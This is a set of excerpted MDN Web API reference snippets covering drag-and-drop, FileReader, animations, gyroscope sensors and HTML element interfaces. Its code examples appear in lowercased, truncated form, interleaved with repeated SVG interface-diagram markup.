...25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/comment" target="_top"><rect x="436" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="473.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">comment</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no specific property, but inherits those of its parent, characterdata, and indirectly those of node.
ConstantSourceNode.offset - Web APIs
let's say we have an event handler (for click events, in this case) which needs to respond by altering the value of the two gain nodes.
... with the linkage above in place, that can be done using this simple event handler: function handleclickevent(event) { volumeslidercontrol.value = constantsource.offset.value; } all this function has to do is fetch the current value of the slider control we're using to control the paired nodes' gains, then store that value into the constantsourcenode's offset parameter.
ConstantSourceNode - Web APIs
event handlers inherits event handlers from its parent interface, audioscheduledsourcenode.
... some browsers' implementations of this event handler are part of the audioscheduledsourcenode interface.
DOMHighResTimeStamp - Web APIs
// reduced time precision (2ms) in firefox 60 event.timestamp // 1519211809934 // 1519211810362 // 1519211811670 // ...
... // reduced time precision with `privacy.resistfingerprinting` enabled event.timestamp; // 1519129853500 // 1519129858900 // 1519129864400 // ...
DataTransfer.addElement() - Web APIs
this element will be the element to which drag and dragend events are fired, and not the defaut target (the node that was dragged).
... return value void example this example shows the use of the addelement() method function change_drag_node(event, node) { var dt = event.datatransfer; dt.addelement(node); } specifications this method is not defined in any web standard.
DataTransfer.getData() - Web APIs
html content <div id="div1" ondrop="drop(event)" ondragover="allowdrop(event)"> <span id="drag" draggable="true" ondragstart="drag(event)">drag me to the other box</span> </div> <div id="div2" ondrop="drop(event)" ondragover="allowdrop(event)"></div> css content #div1, #div2 { width:100px; height:50px; padding:10px; border:1px solid #aaaaaa; } javascript content function allowdrop(allowdropevent) { allowdropevent...
....target.style.color = 'blue'; allowdropevent.preventdefault(); } function drag(dragevent) { dragevent.datatransfer.setdata("text", dragevent.target.id); dragevent.target.style.color = 'green'; } function drop(dropevent) { dropevent.preventdefault(); var data = dropevent.datatransfer.getdata("text"); dropevent.target.appendchild(document.getelementbyid(data)); document.getelementbyid("drag").style.color = 'black'; } result specifications specification status comment html living standardthe definition of 'getdata()' in that specification.
DataTransfer.mozClearDataAt() - Web APIs
return value void example this example shows the use of the mozcleardataat() method in a dragend event handler.
... function dragend_handler(event) { var dt = event.datatransfer; // remove a text/html item dt.mozcleardataat("text/html", 1); } specifications this method is not defined in any web standard.
DataTransfer.mozSetDataAt() - Web APIs
the datatransfer.mozsetdataat() method is used to add data to a specific index in the drag event's data transfer object.
... function dragstart_handler(event) { var dt = event.datatransfer; var idx = dt.mozitemcount; // add two new items to the drag transfer if (idx >= 0) { dt.mozsetdataat("text/uri-list","http://www.example.com/", idx); dt.mozsetdataat("text/html", "hello world", idx+1); } } specifications this method is not defined in any web standard.
DataTransfer.mozSourceNode - Web APIs
example this example shows the use of the mozsourcenode property in the dragend event handler.
... function dragend_handler(event) { var dragdata = event.datatransfer; var node = dragdata.mozsourcenode; if (node != null) console.log("mozsourcenode = " + dragdata.mozsourcenode); else console.log("mozsourcenode is null"); } specifications this property is not defined in any web standard.
DataTransfer.mozTypesAt() - Web APIs
example this example shows the use of the moztypesat() method in a drop event handler.
... function drop_handler(event) { var dt = event.datatransfer; var count = dt.mozitemcount; output("items: " + count + "\n"); for (var i = 0; i < count; i++) { output(" item " + i + ":\n"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } catch (ex) { output("<>\n"); dump(ex); } } } } specifications this method is not defined in any web standard.
DataTransfer.setData() - Web APIs
use the event target's id for the data ev.datatransfer.setdata("text/plain", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); // get the data, which is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // clear...
... the drag data cache (for all formats/types) ev.datatransfer.cleardata(); } </script> <body> <h1>examples of <code>datatransfer</code>: <code>setdata()</code>, <code>getdata()</code>, <code>cleardata()</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'setdata()' in that specification.
DataTransferItem.getAsFile() - Web APIs
example this example shows the use of the getasfile() method in a drop event handler.
... function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html console.log("...
DataTransferItem.getAsString() - Web APIs
example this example shows the use of the getasstring() method as an inline function in a drop event handler.
... function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html console.log("...
Document.createTouch() - Web APIs
target the eventtarget for the touch.
... var target = document.getelementbyid("target"); var touch1 = document.createtouch(window, target, 1, 15, 20, 35, 40); var touch2 = document.createtouch(window, target, 2, 25, 30, 45, 50); specifications specification status comment touch eventsthe definition of 'document.createtouch()' in that specification.
Document.popupNode - Web APIs
this will be the target of the mouse event that activated the popup.
...typically, this property will be checked during a popupshowing event handler for a context menu to initialize the menu based on the context.
DocumentFragment - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...e4"/><a xlink:href="/docs/web/api/documentfragment" target="_top"><rect x="266" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="346" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">documentfragment</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor documentfragment() creates and returns a new documentfragment object.
DocumentOrShadowRoot.activeElement - Web APIs
note: focus (which element is receiving user input events) is not the same thing as selection (the currently highlighted part of the document).
....selectionstart, activetextarea.selectionend ); const outputelement = document.getelementbyid('output-element'); const outputtext = document.getelementbyid('output-text'); outputelement.innerhtml = activetextarea.id; outputtext.innerhtml = selection; } const textarea1 = document.getelementbyid('ta-example-one'); const textarea2 = document.getelementbyid('ta-example-two'); textarea1.addeventlistener('mouseup', onmouseup, false); textarea2.addeventlistener('mouseup', onmouseup, false); result specifications specification status comment html living standardthe definition of 'activeelement' in that specification.
DocumentType - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...e="#d4dde4"/><a xlink:href="/docs/web/api/documenttype" target="_top"><rect x="266" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="326" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">documenttype</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, node, and implements the childnode interface.
EffectTiming.fill - Web APIs
WebAPIEffectTimingfill
document.getelementbyid("animatebutton").addeventlistener("click", event => { document.getelementbyid("box").animate( boxrotationkeyframes, boxrotationtiming ); }, false); the rest of the code is pretty simple: it adds an event listener to the "animate" button so that when it's clicked by the user, the box is animated by calling element.animate() on it, providing the boxrotationkeyframes and boxrotationtiming objects to describe the...
... elem.addeventlistener('click', async evt => { const animation = elem.animate( { transform: `translate(${evt.clientx}px, ${evt.clienty}px)` }, { duration: 800, fill: 'forwards' } ); await animation.finished; // commitstyles will record the style up to and including `animation` and // update elem’s specified style with the result.
Element.innerHTML - Web APIs
WebAPIElementinnerHTML
javascript function log(msg) { var logelem = document.queryselector(".log"); var time = new date(); var timestr = time.tolocaletimestring(); logelem.innerhtml += timestr + ": " + msg + "<br/>"; } log("logging mouse events inside this container..."); the log() function creates the log output by getting the current time from a date object using tolocaletimestring(), and building a string with the timestamp and the message text.
... we add a second method that logs information about mouseevent based events (such as mousedown, click, and mouseenter): function logevent(event) { var msg = "event <strong>" + event.type + "</strong> at <em>" + event.clientx + ", " + event.clienty + "</em>"; log(msg); } then we use this as the event handler for a number of mouse events on the box that contains our log: var boxelem = document.queryselector(".box"); boxelem.addeventlistener("mousedown", logevent); boxelem.addeventlistener("mouseup", logevent); boxelem.addeventlistener("click", logevent); boxelem.addeventlistener("mouseenter", logevent); boxelem.addeventlistener("mouseleave", logevent); html the html is quite simple for our example.
Element.toggleAttribute() - Web APIs
return value true if attribute name is eventually present, and false otherwise.
... html <input value="text"> <button>toggleattribute("readonly")</button> javascript var button = document.queryselector("button"); var input = document.queryselector("input"); button.addeventlistener("click", function(){ input.toggleattribute("readonly"); }); result dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom ...
Fetch API - Web APIs
WebAPIFetch API
instead, these are more likely to be created as results of other api actions (for example, fetchevent.respondwith() from service workers).
...instead, it will resolve normally (with ok status set to false), and it will only reject on network failure or if anything prevented the request from completing.
File.webkitRelativePath - Web APIs
when the change event occurs, a list of all files contained within the selected directory hierarchies is generated and displayed.
... html content <input type="file" id="filepicker" name="filelist" webkitdirectory multiple /> <ul id="listing"></ul> javascript content document.getelementbyid("filepicker").addeventlistener("change", function(event) { let output = document.getelementbyid("listing"); let files = event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = files[i].webkitrelativepath; output.appendchild(item); }; }, false); result specifications specification status comment file and directory entries apithe definition of 'webkitrelativepath' in that specification.
FileReader.onload - Web APIs
WebAPIFileReaderonload
the filereader.onload property contains an event handler executed when the load event is fired, when content read with readasarraybuffer, readasbinarystring, readasdataurl or readastext is available.
... example // callback from a <input type="file" onchange="onchange(event)"> function onchange(event) { var file = event.target.files[0]; var reader = new filereader(); reader.onload = function(e) { // the file's text will be printed here console.log(e.target.result) }; reader.readastext(file); } ...
FileReader.readAsDataURL() - Web APIs
example html <input type="file" onchange="previewfile()"><br> <img src="" height="200" alt="image preview..."> javascript function previewfile() { const preview = document.queryselector('img'); const file = document.queryselector('input[type=file]').files[0]; const reader = new filereader(); reader.addeventlistener("load", function () { // convert image file to base64 string preview.src = reader.result; }, false); if (file) { reader.readasdataurl(file); } } live result example reading multiple files html <input id="browse" type="file" onchange="previewfiles()" multiple> <div id="preview"></div> javascript function previewfiles() { var preview = document.queryselector('#...
...preview'); var files = document.queryselector('input[type=file]').files; function readandpreview(file) { // make sure `file.name` matches our extensions criteria if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader = new filereader(); reader.addeventlistener("load", function () { var image = new image(); image.height = 100; image.title = file.name; image.src = this.result; preview.appendchild( image ); }, false); reader.readasdataurl(file); } } if (files) { [].foreach.call(files, readandpreview); } } note: the filereader() constructor was not supported by internet explorer for versions before 10.
FileSystemDirectoryEntry.getDirectory() - Web APIs
let dictionary = null; function loaddictionaryforlanguage(appdatadirentry, lang) { dictionary = null; appdatadirentry.getdirectory("dictionaries", {}, function(direntry) { direntry.getfile(lang + "-dict.json", {}, function(fileentry) { fileentry.file(function(dictfile)) { let reader = new filereader(); reader.addeventlistener("loadend", function() { dictionary = json.parse(reader.result); }); reader.readastext(dictfile); }); }); }); } the loaddictionaryforlanguage() function starts by using getdirectory() to obtain the filesystemdirectoryentry object representing a subfolder named "dictionaries" located inside the specified app data directory.
...when that is loaded successfully (as indicated by the loadend event being fired), the loaded text is passed into json.parse() to be reconstituted into a javascript object.
FileSystemDirectoryEntry.getFile() - Web APIs
let dictionary = null; function loaddictionaryforlanguage(appdatadirentry, lang) { dictionary = null; appdatadirentry.getdirectory("dictionaries", {}, function(direntry) { direntry.getfile(lang + "-dict.json", {}, function(fileentry) { fileentry.file(function(dictfile)) { let reader = new filereader(); reader.addeventlistener("loadend", function() { dictionary = json.parse(reader.result); }); reader.readastext(dictfile); }); }); }); } the loaddictionaryforlanguage() function starts by using getdirectory() to obtain the filesystemdirectoryentry object representing a subfolder named "dictionaries" located inside the specified app data directory.
...when that is loaded successfully (as indicated by the loadend event being fired), the loaded text is passed into json.parse() to be reconstituted into a javascript object.
FileHandle API - Web APIs
such monitoring can be done using the filerequest.onprogress event handler.
... var progress = document.queryselector('progress'); var myfile = myfilehandle.open('readonly'); // let's read a 1gb file var action = myfile.readasarraybuffer(1000000000); action.onprogress = function (event) { if (progress) { progress.value = event.loaded; progress.max = event.total; } } action.onsuccess = function () { console.log('yeah \o/ just read a 1gb file'); } action.onerror = function () { console.log('oups :( unable to read a 1gb file') } file storage when a file handle is created, the associated file only exists as a "temporary file" as long as you hold the filehandle instance.
File and Directory Entries API - Web APIs
getting access to a file system there are two ways to get access to file systems defined in the current specification draft: when handling a drop event for drag and drop, you can call datatransferitem.webkitgetasentry() to get the filesystementry for a dropped item.
... asynchronous api the asynchronous api should be used for most operations, to prevent file system accesses from blocking the entire browser if used on the main thread.
Gamepad - Web APIs
WebAPIGamepad
a gamepad object can be returned in one of two ways: via the gamepad property of the gamepadconnected and gamepaddisconnected events, or by grabbing any position in the array returned by the navigator.getgamepads() method.
... example window.addeventlistener("gamepadconnected", function(e) { console.log("gamepad connected at index %d: %s.
Gyroscope.x - Web APIs
WebAPIGyroscopex
example the gyroscope is typically read in the sensor.onreading event callback.
... let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Gyroscope.y - Web APIs
WebAPIGyroscopey
example the gyroscope is typically read in the sensor.onreading event callback.
... let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Gyroscope.z - Web APIs
WebAPIGyroscopez
example the gyroscope is typically read in the sensor.onreading event callback.
... let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Gyroscope - Web APIs
WebAPIGyroscope
example the gyroscope is typically read in the sensor.onreading event callback.
... let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
HTMLAnchorElement - Web APIs
ment; not to be confused with <link>, which is represented by htmllinkelement) <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/htmlanchorelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlanchorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and implements those from htmlhyperlinkelementutils.
HTMLAreaElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/htmlareaelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlareaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and implements those from htmlhyperlinkelementutils.
HTMLBRElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...#d4dde4"/><a xlink:href="/docs/web/api/htmlbrelement" target="_top"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbrelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLBaseElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/htmlbaseelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbaseelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLButtonElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/htmlbuttonelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbuttonelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLCanvasElement.getContext() - Web APIs
desynchronized: boolean that hints the user agent to reduce the latency by desynchronizing the canvas paint cycle from the event loop (gecko only) willreadfrequently: boolean that indicates whether or not a lot of read-back operations are planned.
... desynchronized: boolean that hints the user agent to reduce the latency by desynchronizing the canvas paint cycle from the event loop antialias: boolean that indicates whether or not to perform anti-aliasing.
HTMLCanvasElement.toDataURL() - Web APIs
aabpaafei8araaaaaelftksuqmcc" setting image quality with jpegs var fullquality = canvas.todataurl('image/jpeg', 1.0); // data:image/jpeg;base64,/9j/4aaqskzjrgabaq...9oadambaairaxeapwd/ad/6ap/z" var mediumquality = canvas.todataurl('image/jpeg', 0.5); var lowquality = canvas.todataurl('image/jpeg', 0.1); example: dynamically change images you can use this technique in coordination with mouse events in order to dynamically change images (gray-scale vs.
... color in this example): html <img class="grayscale" src="mypicture.png" alt="description of my picture" /> javascript window.addeventlistener('load', removecolors); function showcolorimg() { this.style.display = 'none'; this.nextsibling.style.display = 'inline'; } function showgrayimg() { this.previoussibling.style.display = 'inline'; this.style.display = 'none'; } function removecolors() { var aimages = document.getelementsbyclassname('grayscale'), nimgslen = aimages.length, ocanvas = document.createelement('canvas'), octx = ocanvas.getcontext('2d'); for (var nwidth, nheight, oimgdata, ograyimg, npixel, apix, npixlen, nimgid = 0; nimgid < nimgslen; nimgid++) { ocolorimg = aimages[nimgid]; nwidth = ocolorimg.offsetwidth; nheight = ocolorimg.offs...
HTMLDListElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmldlistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldlistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLDataElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/htmldataelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldataelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLDataListElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
... xlink:href="/docs/web/api/htmldatalistelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldatalistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement htmldatalistelement.options read only is a htmlcollection representing a collection of the contained option elements.
HTMLDetailsElement - Web APIs
et"><a xlink:href="/docs/web/api/htmldetailselement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldetailselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
... events listen to this event using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
HTMLDivElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4dde4"/><a xlink:href="/docs/web/api/htmldivelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldivelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLDocument - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
